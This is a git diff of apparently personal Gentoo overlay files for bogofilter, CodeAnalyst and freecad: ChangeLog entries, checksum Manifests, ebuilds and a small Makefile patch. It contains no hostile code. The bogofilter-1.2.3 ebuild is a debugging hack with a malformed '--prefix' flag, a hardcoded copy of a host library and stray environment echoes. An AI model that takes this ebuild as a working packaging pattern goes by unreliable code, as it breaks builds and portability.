virtual/glibc -> virtual/libc + +*bogofilter-0.91.1 (06 Jun 2004) + + 06 Jun 2004; Grant Goodyear -bogofilter-0.91.0.ebuild, + +bogofilter-0.91.1.ebuild: + Version bump. + +*bogofilter-0.91.0 (06 Jun 2004) + + 06 Jun 2004; Grant Goodyear +bogofilter-0.91.0.ebuild: + Version bump, thanks to Daniel Webert (Bug #51089). + +*bogofilter-0.15.13.1 (03 Jun 2004) + + 03 Jun 2004; Seemant Kulleen +metadata.xml, + +bogofilter-0.13.7.3.ebuild, +bogofilter-0.14.5.4.ebuild, + +bogofilter-0.15.13.1.ebuild, +bogofilter-0.16.4.ebuild, + +bogofilter-0.17.5.ebuild: + Moved from net-mail/bogofilter to mail-filter/bogofilter. + +*bogofilter-0.17.5 (14 May 2004) + + 14 May 2004; Brandon Low -bogofilter-0.17.1.ebuild, + -bogofilter-0.17.2.ebuild, +bogofilter-0.17.5.ebuild: + Bump, and remove some unneeded ebuilds, will mark _something_ stable today + +*bogofilter-0.17.2 (25 Feb 2004) + + 25 Feb 2004; Brandon Low bogofilter-0.17.2.ebuild: + Bump + + 22 Feb 2004; Aron Griffis bogofilter-0.13.7.3.ebuild, + bogofilter-0.14.5.4.ebuild, bogofilter-0.15.13.1.ebuild, + bogofilter-0.16.4.ebuild, bogofilter-0.17.1.ebuild: + Remove arm keywords + +*bogofilter-0.17.1 (10 Feb 2004) +*bogofilter-0.16.4 (10 Feb 2004) + + 10 Feb 2004; Brandon Low bogofilter-0.15.13.1.ebuild, + bogofilter-0.16.4.ebuild, bogofilter-0.17.1.ebuild: + Fix keyword issues by making depend _really_ special, and add 2 new versions. + 0.16.4 should be moved to stable cautiously as it deprecates many features + BTW, most of this work was not done by me, but rather by: + + Torsten Veller , many thanks. + + Closed bugs: 36452, 37017, 41086. + + 07 Feb 2004; Lars Weiler bogofilter-0.15.13.1.ebuild: + stable on ppc + +*bogofilter-0.15.13.1 (07 Jan 2004) + + 07 Jan 2004; Seemant Kulleen + bogofilter-0.15.13.1.ebuild, bogofilter-0.15.13.ebuild: + bug fix release from upstream. Thanks again to tove in bug + #36452 + + 29 Dec 2003; Seemant Kulleen bogofilter-0.15.13.ebuild: + fixed missing header and IUSE line + +*bogofilter-0.15.13 (29 Dec 2003) + + 29 Dec 2003; Seemant Kulleen + bogofilter-0.14.5.2.ebuild, bogofilter-0.14.5.4.ebuild, + bogofilter-0.14.5.ebuild, bogofilter-0.15.12.ebuild, + bogofilter-0.15.13.ebuild: + version bump thanks to: tove in bug #36452. Note that he + had had an ebuild waiting in bugzilla for 15.12 as well, which I hadn't + seen -- my apologies to him + +*bogofilter-0.15.12 (27 Dec 2003) + + 27 Dec 2003; Seemant Kulleen bogofilter-0.15.12.ebuild: + version bump + +*bogofilter-0.14.5.4 (06 Oct 2003) + + 06 Oct 2003; Caleb Tennis bogofilter-0.11.2.ebuild, + bogofilter-0.13.3.ebuild, bogofilter-0.13.6.2.ebuild, + bogofilter-0.14.5.4.ebuild: + New version, remove old ones that dont seem valid anymore + +*bogofilter-0.14.5.2 (22 Aug 2003) + + 22 Aug 2003; Grant Goodyear + bogofilter-0.14.5.2.ebuild: + Version bump. Thanks to Florian Bauhaus! + +*bogofilter-0.14.5 (17 Aug 2003) + + 17 Aug 2003; Nick Hadaway bogofilter-0.14.5.ebuild: + The 0.14 series finally appears to be stable. Version bump. Minor + ebuild changes. Only the addition of bogominitrain.pl. + +*bogofilter-0.13.7.3 (16 Jul 2003) + + 16 Jul 2003; Nick Hadaway bogofilter-0.13.7.{2,3}.ebuild: + Version bump and added missing $ in headery + + 16 Jul 2003; Christian Birchinger + bogofilter-0.13.7.2.ebuild: + Added sparc stable keyword + + 16 Jul 2003; Nick Hadaway bogofilter-0.13.7.3.ebuild, + bogofilter-0.13.7.2.ebuild: + Fixed the header line. And a version bump. + + 15 Jul 2003; Nick Hadaway bogofilter-0.13.7.2.ebuild: + Marked stable for x86 + + 15 Jul 2003; Christian Birchinger + bogofilter-0.13.6.2.ebuild: + Added sparc stable keyword + +*bogofilter-0.13.7.2 + + 09 Jul 2003; Nick Hadaway bogofilter-0.13.7.2.ebuild: + Version bump. Changes on bug #23914. + + 02 Jul 2003; Nick Hadaway bogofilter-0.13.6.2.ebuild: + Marked stabled for x86 + +*bogofilter-0.13.6.2 (01 Jul 2003) + + 01 Jul 2003; Nick Hadaway bogofilter-0.13.6.2.ebuild: + Version bump. Minor ebuild changes. See bug #22562. + + 03 Jun 2003; Christian Birchinger + bogofilter-0.11.2.ebuild: + Added sparc stable keyword + +*bogofilter-0.13.3 (29 May 2003) + + 29 May 2003; Grant Goodyear bogofilter-0.10.3.ebuild, + bogofilter-0.11.1.3.ebuild, bogofilter-0.11.2.ebuild, + bogofilter-0.12.3.ebuild, bogofilter-0.13.3.ebuild, bogofilter-0.8.0.ebuild, + bogofilter-0.9.1.2.ebuild: + Big clean-up. Made 0.11.2 stable on x86, added 0.13.3 (which is part + of their unstable branch, so ~ masked). Thanks to Torsten for the 0.12.3 + (whoops, 0.12.2) ebuild and to Florian Bauhaus for 0.12.3 (upon which + the 0.13.3 ebuild is based). + +*bogofilter-0.12.3 (14 May 2003) + + 14 May 2003; Dylan Carlson bogofilter-0.12.3.ebuild: + Version bump. Anyone who uses bogofilter regularly, I suggest you upgrade... + fairly significant update over previous versions. + +*bogofilter-0.11.1.3 (13 Mar 2003) + + 16 Mar 2003; Graham Forest bogofilter-0.11.1.3.ebuild: + Added einfo about configuration changes + + 13 Mar 2003; Graham Forest bogofilter-0.11.1.3.ebuild: + Version bump, added ~ppc to keywords + +*bogofilter-0.11.2 (02 Jun 2003) + + 13 Jul 2003; Daniel Ahlberg : + Added missing changelog entry. + +*bogofilter-0.10.3 (15 Feb. 2003) + + 15 Feb 2003; Christian Birchinger ChangeLog: + + Version bump. Added ~sparc keyword. + +*bogofilter-0.9.1.2 (8 Dec. 2002) + + 8 Dec 2002; Grant Goodyear ChangeLog: + + Version bump. Thanks to Clemens Oertel! + +*bogofilter-0.8.0 (11 Nov 2002) + + 11 Nov 2002; Grant Goodyear ChangeLog: + + new package; thanks to Evan Read and Javier Marcet diff --git a/mail-filter/bogofilter/Manifest b/mail-filter/bogofilter/Manifest new file mode 100644 index 00000000..1ec40b8b --- /dev/null +++ b/mail-filter/bogofilter/Manifest @@ -0,0 +1,8 @@ +AUX bogofilter-1.2.2-gcc34.patch 1393 SHA256 a8dd6640782dc2c564c4b402cfbac2fd6d016db03adab67b8507d914cd110dc8 SHA512 7179efbc1a8a4ba79a6710d6324c955dfa255e46fb5d9ac3377b11843f8eb545bf6e9ce5b547a62198d7be4fd989b9a5ea96487d34491df7d42f33a818f02b84 WHIRLPOOL beeeb55b64a22b60fca8cf51c77ca1ff42631c086b50f3e03db5b83a04cdca5e55363c75e4d4ac2459dc4a5e0bd121cebfe29d4e52cfa51777b4162dc1ce5367 +DIST bogofilter-1.2.2.tar.bz2 867043 SHA256 d8cfd1e68375ac8131de8a6998a38ee5b3f7d1151e71efd2b436183545216039 SHA512 916740b4d916c266c8645aa2c509a7e4e21ea0afe9ef89dfe64aa2e147158d48dd259ca53052c14ae8e422a7f364c9a12fcca67011a4e806581e4346e892a7e6 WHIRLPOOL 56f586212fe85fcb1bc9233a987c21ae581d9a5a7cb79e49664426a1e238d3ae3785367f6fec6e9be416a4469209ab2ad187494ed5db95bb435f1fca108ce200 +DIST bogofilter-1.2.3.tar.bz2 868902 SHA256 8ed85fc5ff03d9b07986ee2ce33e1149e30abe2ad8bae1d0c94503ccd2c92e76 SHA512 4b3bb4b1e0f12a88a5ec5421c88001ddeb242c39c55733000dfd38691dc4f5c34a5254de60399b20c63c9ee9e1e13ef73582e215fbabc3738871394b26924ca0 WHIRLPOOL d9177ac269349b1c10a3c8149bff126e927685232a644d4ea8db8060438dd23a1c9725831e0874b6eba185b385f4d329cf701277778608e094abc9135008b19d +DIST gsl-1.15.tar.gz 3281134 SHA256 85b907e57902e2b7606ef3aef960302ffdd13bd9dc5b8fcbfa75e4f0bf340ea3 SHA512 dcea557bcd34d4ee6d2c52741c2f95702e5e6110a99f033b412489b1930d21a40ead29392f754656375801d706df01199878263e856ca3081f9a514dc3299185 WHIRLPOOL 06ffffb83ea56cf6306878063770a117e096352dda3c3dd4a7526153bc770969f61e38fa08c02ec01335bd812581db15e4e5164a7da2363741179268cb393478 +EBUILD bogofilter-1.2.2.ebuild 3786 SHA256 3ce4b4108e99085fabd97735ee9abd88d358d5e12d8b72ab907c20445bfd307a SHA512 713e80f64e6dd02eef67e62c9243cf296c26f712796ce1f52bac8991b33b9aa1f34a50751ae68a1dfdca0c46d982b9c5d0947383dff4df4fa6166525df89b0a2 WHIRLPOOL 774bc346d78e4b3387f0f2b6d80541117ccc2065a0c3d35b0afa6748b171ceacd0ef3cc9334cd37c78fd0844ef8a35c75731dad0ef52a1486b65e8ab12c54015 +EBUILD bogofilter-1.2.3.ebuild 4667 SHA256 fba86c3ee3f40ca8534d3284e8b25a9c626193016cd574eb188b53f86ceec0df SHA512 2cbc2ab1792e6fa62a5fc8746c1e15e00d5fe3cba8ea632ef23ed4c867f1a79a749729205b01d8544584a5918b8bf5ae348b4dc8d7d4ee512d549067738fae56 WHIRLPOOL f8378e15176448ae5483ab0d767430231fbc5cbb36b0c6c6727dd867dff67f578cabd6ef04c4886470074490c2b7b083ab8a86ff141b91eca79ace50b817717f +MISC ChangeLog 26263 SHA256 25dedd6033320ff16b2fe29c187795cd97087075fa50162be1acf7a0a0bbdb77 SHA512 683f99dc58b788df9e4829432717ff9adf32bd3f5f6d0f550009462551bba2f8a5fb935d045b98eb6f14d107345d386c6efe9548a45b23fa0b1ad76dc102cdd9 WHIRLPOOL 530803765f5950cd56cd15b9373030878aedd1f7c4b5c38f76c04bc9acac4e2724b21c74234b7eef620391d52747f7843c28679e935a9498329a8fc4680d4983 +MISC metadata.xml 506 SHA256 da4c28135e6fec4478a9acdafe1d4b023815d2cb116a681917ee4b69846e665e SHA512 76a2324e77b81f3ff6df5f99a1ff88d35dffc8d11334c45c4e1b6bd29e6fbbf5b5d53f88c1e9c78cb8c6c9b139257c4c7e1119da01242755c66751e934afea98 WHIRLPOOL 0bcb4d2eb451f02675eed7c4632b2b2bfc7700ffcaaff4406746aea098b74d6e709df045490b86d13d4f912d7144861a415a9acfe5b117ded2ddf846b7db5511 diff --git a/mail-filter/bogofilter/bogofilter-1.2.2.ebuild b/mail-filter/bogofilter/bogofilter-1.2.2.ebuild new file mode 100644 index 00000000..e4f5d5b6 --- /dev/null +++ b/mail-filter/bogofilter/bogofilter-1.2.2.ebuild @@ -0,0 +1,116 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/mail-filter/bogofilter/bogofilter-1.2.2.ebuild,v 1.9 2012/06/04 23:40:01 zmedico Exp $ + +EAPI=2 + +inherit db-use eutils flag-o-matic toolchain-funcs + +DESCRIPTION="Bayesian spam filter designed with fast algorithms, and tuned for speed." +HOMEPAGE="http://bogofilter.sourceforge.net/" +SRC_URI="mirror://sourceforge/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="alpha amd64 arm hppa ia64 ppc ppc64 sh sparc x86 ~x86-fbsd" +IUSE="berkdb sqlite tokyocabinet" + +DEPEND="virtual/libiconv + berkdb? ( >=sys-libs/db-3.2 ) + !berkdb? ( + sqlite? ( >=dev-db/sqlite-3.6.22 ) + !sqlite? ( + tokyocabinet? ( dev-db/tokyocabinet ) + !tokyocabinet? ( >=sys-libs/db-3.2 ) + ) + ) + sci-libs/gsl" +# app-arch/pax" # only needed for bf_tar +RDEPEND="${DEPEND}" + +pkg_setup() { + has_version mail-filter/bogofilter || return 0 + if ( use berkdb && ! has_version 'mail-filter/bogofilter[berkdb]' ) || \ + ( ! use berkdb && has_version 'mail-filter/bogofilter[berkdb]' ) || \ + ( use sqlite && ! has_version 'mail-filter/bogofilter[sqlite]' ) || \ + ( ! use sqlite && has_version 'mail-filter/bogofilter[sqlite]' ) || \ + ( has_version '>=mail-filter/bogofilter-1.2.1-r1' && \ + ( use tokyocabinet && ! has_version 'mail-filter/bogofilter[tokyocabinet]' ) || \ + ( ! use tokyocabinet && has_version 'mail-filter/bogofilter[tokyocabinet]' ) + ) ; then + ewarn + ewarn "If you want to switch the database backend, you must dump the wordlist" + ewarn "with the current version (old use flags) and load it with the new version!" + ewarn + fi +} + +src_configure() { + local myconf="" berkdb=true + myconf="--without-included-gsl" + + # determine backend: berkdb *is* default + if use berkdb && use sqlite ; then + elog "Both useflags berkdb and sqlite are in USE:" + elog "Using berkdb as database backend." + elif use berkdb && use tokyocabinet ; then + elog "Both useflags berkdb and tokyocabinet are in USE:" + elog "Using berkdb as database backend." + elif use sqlite && use tokyocabinet ; then + elog "Both useflags sqlite and tokyocabinet are in USE:" + elog "Using sqlite as database backend." + myconf="${myconf} --with-database=sqlite" + berkdb=false + elif use sqlite ; then + myconf="${myconf} --with-database=sqlite" + berkdb=false + elif use tokyocabinet ; then + myconf="${myconf} --with-database=tokyocabinet" + berkdb=false + elif ! use berkdb ; then + elog "Neither berkdb nor sqlite nor tokyocabinet are in USE:" + elog "Using berkdb as database backend." + fi + + # Include the right berkdb headers for FreeBSD + if ${berkdb} ; then + append-flags "-I$(db_includedir)" + fi + + # bug #324405 + if [[ $(gcc-version) == "3.4" ]] ; then + epatch "${FILESDIR}"/${P}-gcc34.patch + fi + + econf ${myconf} || die "configure failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "make install failed" + + exeinto /usr/share/${PN}/contrib + doexe contrib/{bogofilter-qfe,parmtest,randomtrain}.sh \ + contrib/{bfproxy,bogominitrain,mime.get.rfc822,printmaildir}.pl \ + contrib/{spamitarium,stripsearch}.pl || die "doexec failed" + + insinto /usr/share/${PN}/contrib + doins contrib/{README.*,dot-qmail-bogofilter-default} \ + contrib/{bogogrep.c,bogo.R,bogofilter-milter.pl,*.example} \ + contrib/vm-bogofilter.el \ + contrib/{trainbogo,scramble}.sh || die "doins failed" + + dodoc AUTHORS NEWS README RELEASE.NOTES* TODO GETTING.STARTED \ + doc/integrating-with-* doc/README.{db,sqlite} || die "dodoc failed" + + dohtml doc/*.html + + dodir /usr/share/doc/${PF}/samples + mv "${D}"/etc/bogofilter.cf.example "${D}"/usr/share/doc/${PF}/samples/ + rmdir "${D}"/etc +} + +pkg_postinst() { + echo + elog "If you need \"${ROOT}usr/bin/bf_tar\" please install app-arch/pax." + echo +} diff --git a/mail-filter/bogofilter/bogofilter-1.2.3.ebuild b/mail-filter/bogofilter/bogofilter-1.2.3.ebuild new file mode 100644 index 00000000..13ab78c1 --- /dev/null +++ b/mail-filter/bogofilter/bogofilter-1.2.3.ebuild @@ -0,0 +1,147 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/mail-filter/bogofilter/bogofilter-1.2.3.ebuild,v 1.8 2012/12/15 17:45:29 armin76 Exp $ + +EAPI=4 +inherit db-use eutils flag-o-matic toolchain-funcs + +DESCRIPTION="Bayesian spam filter designed with fast algorithms, and tuned for speed." +HOMEPAGE="http://bogofilter.sourceforge.net/" +SRC_URI="mirror://sourceforge/${PN}/${P}.tar.bz2 + mirror://gnu/gsl/gsl-1.15.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="alpha amd64 arm hppa ia64 ppc ppc64 sh sparc x86 ~x86-fbsd" +IUSE="berkdb sqlite tokyocabinet gsl atompkg" + +DEPEND="virtual/libiconv + berkdb? ( >=sys-libs/db-3.2 ) + !berkdb? ( + sqlite? ( >=dev-db/sqlite-3.6.22 ) + !sqlite? ( + tokyocabinet? ( dev-db/tokyocabinet ) + !tokyocabinet? ( >=sys-libs/db-3.2 ) + ) + )" +# sci-libs/gsl" +# app-arch/pax" # only needed for bf_tar +RDEPEND="${DEPEND}" + +pkg_setup() { + has_version mail-filter/bogofilter || return 0 + if ( use berkdb && ! has_version 'mail-filter/bogofilter[berkdb]' ) || \ + ( ! use berkdb && has_version 'mail-filter/bogofilter[berkdb]' ) || \ + ( use sqlite && ! has_version 'mail-filter/bogofilter[sqlite]' ) || \ + ( ! use sqlite && has_version 'mail-filter/bogofilter[sqlite]' ) || \ + ( has_version '>=mail-filter/bogofilter-1.2.1-r1' && \ + ( use tokyocabinet && ! has_version 'mail-filter/bogofilter[tokyocabinet]' ) || \ + ( ! use tokyocabinet && has_version 'mail-filter/bogofilter[tokyocabinet]' ) + ) ; then + ewarn + ewarn "If you want to switch the database backend, you must dump the wordlist" + ewarn "with the current version (old use flags) and load it with the new version!" + ewarn + fi +} + +src_prepare() { + dodir /opt/bogofilter/ + dodir /opt/bogofilter/static-libs/ + cd "${WORKDIR}"/gsl-1.15/ + econf --prefix="${WORKDIR}"/gsl-1.15 + emake + find . -iname "*libgsl.so*" || die + dodir "${WORKDIR}"/gsl-1.15/static-libs + mkdir "${WORKDIR}"/gsl-1.15/static-libs || die + cp "${WORKDIR}"/gsl-1.15/.libs/libgsl.so* "${WORKDIR}"/gsl-1.15/static-libs/ || die + cp /usr/lib64/libdb-4.8.so "${WORKDIR}"/gsl-1.15/static-libs/ || die + #insinto /opt/bogofilter/static-libs/ + #cd /opt/bogofilter/static-libs/ + #doins "${WORKDIR}"/gsl-1.15/.libs/libgsl.so* +} + +src_configure() { + set -ex + local myconf="" berkdb=true + if use gsl ; then + myconf="--prefix/opt/bogofilter/ --with-included-gsl" + else + myconf="--prefix=/opt/bogofilter --without-included-gsl" + fi + + if use atompkg ; then + export LD_LIBRARY_PATH="${LD_LIBRARY_PATH}:${libdir}:${WORKDIR}/gsl-1.15/static-libs/" + echo ${libdir} + fi + + # determine backend: berkdb *is* default + if use berkdb && use sqlite ; then + elog "Both useflags berkdb and sqlite are in USE:" + elog "Using berkdb as database backend." + elif use berkdb && use tokyocabinet ; then + elog "Both useflags berkdb and tokyocabinet are in USE:" + elog "Using berkdb as database backend." + elif use sqlite && use tokyocabinet ; then + elog "Both useflags sqlite and tokyocabinet are in USE:" + elog "Using sqlite as database backend." + myconf="${myconf} --with-database=sqlite" + berkdb=false + elif use sqlite ; then + myconf="${myconf} --with-database=sqlite" + berkdb=false + elif use tokyocabinet ; then + myconf="${myconf} --with-database=tokyocabinet" + berkdb=false + elif ! use berkdb ; then + elog "Neither berkdb nor sqlite nor tokyocabinet are in USE:" + elog "Using berkdb as database backend." + fi + + # Include the right berkdb headers for FreeBSD + if ${berkdb} ; then + append-cppflags "-I$(db_includedir)" + fi + + # bug #324405 + if [[ $(gcc-version) == "3.4" ]] ; then + epatch "${FILESDIR}"/${PN}-1.2.2-gcc34.patch + fi + + LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:${libdir}:${WORKDIR}/gsl-1.15/static-libs econf ${myconf} +} + +src_install() { + emake DESTDIR="${D}" install + echo $LD_PRELOAD + + exeinto /usr/share/${PN}/contrib + doexe contrib/{bogofilter-qfe,parmtest,randomtrain}.sh \ + contrib/{bfproxy,bogominitrain,mime.get.rfc822,printmaildir}.pl \ + contrib/{spamitarium,stripsearch}.pl + + insinto /usr/share/${PN}/contrib + doins contrib/{README.*,dot-qmail-bogofilter-default} \ + contrib/{bogogrep.c,bogo.R,bogofilter-milter.pl,*.example} \ + contrib/vm-bogofilter.el \ + contrib/{trainbogo,scramble}.sh + + dodoc AUTHORS NEWS README RELEASE.NOTES* TODO GETTING.STARTED \ + doc/integrating-with-* doc/README.{db,sqlite} + + dohtml doc/*.html + + dodir /usr/share/doc/${PF}/samples + mv "${D}"/etc/bogofilter.cf.example "${D}"/usr/share/doc/${PF}/samples/ + rmdir "${D}"/etc + + echo $LD_PATH + echo $LD_LIBRARY_PATH + #die +} + +pkg_postinst() { + echo + elog "If you need \"${ROOT}usr/bin/bf_tar\" please install app-arch/pax." + echo +} diff --git a/mail-filter/bogofilter/files/bogofilter-1.2.2-gcc34.patch b/mail-filter/bogofilter/files/bogofilter-1.2.2-gcc34.patch new file mode 100644 index 00000000..80e4d787 --- /dev/null +++ b/mail-filter/bogofilter/files/bogofilter-1.2.2-gcc34.patch @@ -0,0 +1,24 @@ +diff -ruN bogofilter-1.2.1-orig/src/Makefile.am bogofilter-1.2.1/src/Makefile.am +--- bogofilter-1.2.1-orig/src/Makefile.am 2009-05-28 22:59:05.000000000 +0200 ++++ bogofilter-1.2.1/src/Makefile.am 2010-06-16 22:52:36.000000000 +0200 +@@ -16,7 +16,7 @@ + AM_CPPFLAGS = -iquote$(top_srcdir)/gnugetopt -iquote$(top_srcdir)/trio \ + -I$(srcdir) @GSL_CFLAGS@ -I$(top_srcdir)/gsl/specfunc -I$(top_srcdir) + else +-AM_CPPFLAGS = -I$(top_srcdir)/gnugetopt -I$(top_srcdir)/trio -I- -I. \ ++AM_CPPFLAGS = -I$(top_srcdir)/gnugetopt -I$(top_srcdir)/trio -I. \ + -I$(srcdir) @GSL_CFLAGS@ -I$(top_srcdir)/gsl/specfunc -I$(top_srcdir) + endif + +diff -ruN bogofilter-1.2.1-orig/src/Makefile.in bogofilter-1.2.1/src/Makefile.in +--- bogofilter-1.2.1-orig/src/Makefile.in 2009-08-01 21:00:51.000000000 +0200 ++++ bogofilter-1.2.1/src/Makefile.in 2010-06-16 22:52:23.000000000 +0200 +@@ -483,7 +483,7 @@ + @ENABLE_MEMDEBUG_TRUE@MEMDEBUG_SRC = memdebug.c memdebug.h + noinst_LIBRARIES = libbogofilter.a $(am__append_3) $(am__append_5) \ + $(am__append_10) +-@USE_GCC4_FALSE@AM_CPPFLAGS = -I$(top_srcdir)/gnugetopt -I$(top_srcdir)/trio -I- -I. \ ++@USE_GCC4_FALSE@AM_CPPFLAGS = -I$(top_srcdir)/gnugetopt -I$(top_srcdir)/trio -I. \ + @USE_GCC4_FALSE@ -I$(srcdir) @GSL_CFLAGS@ -I$(top_srcdir)/gsl/specfunc -I$(top_srcdir) + + @USE_GCC4_TRUE@AM_CPPFLAGS = -iquote$(top_srcdir)/gnugetopt -iquote$(top_srcdir)/trio \ diff --git a/mail-filter/bogofilter/metadata.xml b/mail-filter/bogofilter/metadata.xml new file mode 100644 index 00000000..32d2b6ec --- /dev/null +++ b/mail-filter/bogofilter/metadata.xml @@ -0,0 +1,11 @@ + + + +net-mail + + Bogofilter is a mail filter that classifies mail as spam or ham (non-spam) + by a statistical analysis of the message's header and content (body). The + program is able to learn from the user's classifications and corrections. + +Enable Tokyo Cabinet database support + diff --git a/media-gfx/CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild b/media-gfx/CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild new file mode 100644 index 00000000..d03a5330 --- /dev/null +++ b/media-gfx/CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild @@ -0,0 +1,37 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header:$ + +EAPI="5" +inherit eutils autotools + +DESCRIPTION="AMD Code Analyst" +HOMEPAGE="http://developer.amd.com/" +SRC_URI="http://developer.amd.com/wordpress/media/files/${PN}-3_4_18_0413-Public.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="X debug optimization" + +RDEPEND="" +DEPEND="${DEPEND}" + +S="${WORKDIR}"/CodeAnalyst-3_4_18_0413-Public + + +src_configure() { + insinto "${S}" + ./autogen.sh || die "autogen failed" + econf \ + $(use_enable debug) \ + $(use_enable optimization) \ + $(use_with X) +} + +src_install() { + emake DESTDIR="${D}" install || die "make install failed" + dodoc NEWS README AUTHORS + find "${D}" -name '*.la' -delete +} + diff --git a/media-gfx/CodeAnalyst/Manifest b/media-gfx/CodeAnalyst/Manifest new file mode 100644 index 00000000..d216e80d --- /dev/null +++ b/media-gfx/CodeAnalyst/Manifest @@ -0,0 +1,2 @@ +DIST CodeAnalyst-3_4_18_0413-Public.tar.gz 12346064 SHA256 81158c09cb24a5ddc5c8c6619380ea5ed24a2a02ad00cc02df2a2bf78ac14ca9 SHA512 83e21bee5370fe70e87c814a4c972a4bf893cd0246587d49d905cf59f2edcc3561147789d4a0ba42fa47bb3489d5d8b422c308041f8911292dc9eb44843cb7cb WHIRLPOOL 68661faa773896548e431b3c12104f1672912e474a9f26a470833dfb1b160b9bd2d8679b7edc0de03102e672c4d4bcda4bde56b925fc53789e88eb8dc97e7485 +EBUILD CodeAnalyst-3.4.18_pre0418.ebuild 768 SHA256 aedeedfc185f72769da369416d5c8f4766b9ec6d1bddd4332c9e9b7843252454 SHA512 50a4b7ef072ce4b016a1d8507342374d1f10860303b14266efe64c9fdde0c4eead1eabbac4f6ea3a6fbb898c780e3eb18433ceeb366aa4810068bd658d65f994 WHIRLPOOL 975eca90d87f86de64cb7e3580dd64bb27e17cc705d873371fb78ad05919902e3e4c2b00f9e1c0fd155847edbc2e88bc66dd1ceb19d1ab44352da009704c9a1c diff --git a/media-gfx/freecad/Manifest b/media-gfx/freecad/Manifest new file mode 100644 index 00000000..cf74a467 --- /dev/null +++ b/media-gfx/freecad/Manifest @@ -0,0 +1,18 @@ +AUX freecad-0.12.5284-boost148.patch 849 SHA256 e87fd55562a13af12d66ab6587cf036d01b3a0a63bddb55a66ff12973b459e55 SHA512 9c1406d15546d945d59a269d65e21d06620663b46a2cff9422c08198d3b72768142e3cbc5381a22e2a0a45c436275ccf6879e3d1d09222762e06a91277f3a5e1 WHIRLPOOL a298dc1e9cc92e97387ee6e04509c9915d6351b06d18157812052e283053a919b1a5fe8248798b96845741781d98dd43df8198dddfd3ff3cad8651f0142fa17b +AUX freecad-0.12.5284-gcc46.patch 424 SHA256 ce452c6ab373f41f0a88c3f40966ba3f942aae097134ee18273b6ff22ed6f44b SHA512 a1b5c3cd71338b73077f89fc9faa4cef04d2aa64939e0e6915c9a1c91fece09704d959de48623e88c97e1f349f3cd752face7cbf870a9d74caacfc8f3c78b12d WHIRLPOOL 92ec1fbfad75883af94c86af9ccdf851aa2cbcc999eb8bfda15aacc2a52d763943685d9ff22f92061d57a992337eaacb31f3ff6d83a7f33d12793420a5e2ee07 +AUX freecad-0.12.5284-glu.patch 441 SHA256 7375de7bd4880070afd6c45ea7c9f5c2214b4f76f028ad89c1cd013883c802e0 SHA512 6be87ede4162126db556eb21efd43bedaa7aa8aacafd5499538225b482b09f85599251e15e1af8232e39c27ebc66efd4cfc61e35f34baa6a3bbd4c47f280d0b8 WHIRLPOOL b5950e524616386dfde7ddcf032435ba1e61c70ad460098beab8157dabb1b91d3118ce9844350577e1534b5ba422240f8e5545f171f96c81f984cb6bc211c19a +AUX freecad-0.12.5284-no-3rdParty.patch 224 SHA256 5dc5c4da1c330cd87737f2eaad7c33cc6a15e1c9f53f7be7bec9fb93350c319e SHA512 c5cbbd6db4128e8a8b95fbf86aca28e16f7aa5ee11f78403f182d1eb65f6a28f5b97d776407d3850505c4cc587744c5eb177faa55bcc654b8309f48fadaa5a17 WHIRLPOOL 8892f04209aa24c2da741a202b551c3e9f42b234f85b4636f0e12d6bf8328b84cc4f9f92db13154b9931142eb60baa4f08c8a04c01e8f76610c67de74fd992cd +AUX freecad-0.12.5284-no-permissive.patch 1930 SHA256 a136071b66568a6976afb69b478013175d9199054b8e380ff48fb97f726c0a0e SHA512 1a97d1302e6f806b39838a89ea78a86e47e50001409d6477e28e97c3256f8719a3969e55e9025b736c3854cdae3314538919a9f972be09175c16350e41fd68f5 WHIRLPOOL 25b5c3422869b4a54c7782d69ba162cb980fbfd2e086dd9e1a5095c08905ad4592fcd92aeb3b2bd10e98bd237c710304d9a5513a5ebffac2e7a0da79f789f91a +AUX freecad-0.12.5284-nodir.patch 776 SHA256 9ce3f5897311c4b26678d432a9f725d5469eaff855de59d97cb1fd12e320bb3b SHA512 c1e46d6945c81ab3a6fd8d5b065b9cc12cf5c42678d0a356373d6f02987969c873f86dad56858ed8cf5793a565e3193bc474cb446c5466fad23f5f6c65f58ccc WHIRLPOOL 5565b41c3104bf7c24bddfb4df87dd8c5cff65bfc7760bc77df235be25354f379c79b8a9cb88b5e6e9ba1e0b51a1da7818393f13e4b72637d901d84bbbc05701 +AUX freecad-0.12.5284-nopivy.patch 751 SHA256 3424f2630cd739ecb5ddcd7824469c44d6e89c2fe97a9e123090d7b8d04dfcfd SHA512 6b706c35acf1160de865c9122fc13cb7194134d2c2980d9d7ee1bfd81a3fed352d5b309ab5d5738ac3e4e87854c7b8a32d76ba328f32c63dd18216619eece108 WHIRLPOOL 0410d8c7d0de060b9d4f398c0e33d5390b076a2763953512176691f2afe4a63c3657ab727dfa77b1b6f7149d4fb87dddb435b2dcdddd6cc16fe04d02e129f910 +AUX freecad-0.12.5284-occ-6.5.5.patch 10602 SHA256 a4b3cc36138ee7369251d9429397129f744f71b1f521be1950a6a70bf26342ae SHA512 34bc41083e268fc41607b132d594e50d889b278e574b30d7d726cdb1aea53e57656d7070c85e32345b67874218c62e9b01e47c1ec2ee186efea7930651fb224f WHIRLPOOL 31890be32775b6c0b133106ce1c0f05ce22be79bd3daf5a12bb7f0cb89f69a7c6f2de4fd2cc5aa80d74109092512332499eb203e5795dcb36addebe75235d53c +AUX freecad-0.12.5284-qt3support.patch 1819 SHA256 a04ffcbeefe04e52a771fbb93467e32392d2bdb41b59bda41d45c3018f6c0eef SHA512 5f0436ee705f924c0beef0fe7dfcd104c7e8f220dbfb59965ec340c01e7e30bb2e459c2fbc787b4f67a60913d86ae771029e8239597766da71f14d51286844a6 WHIRLPOOL 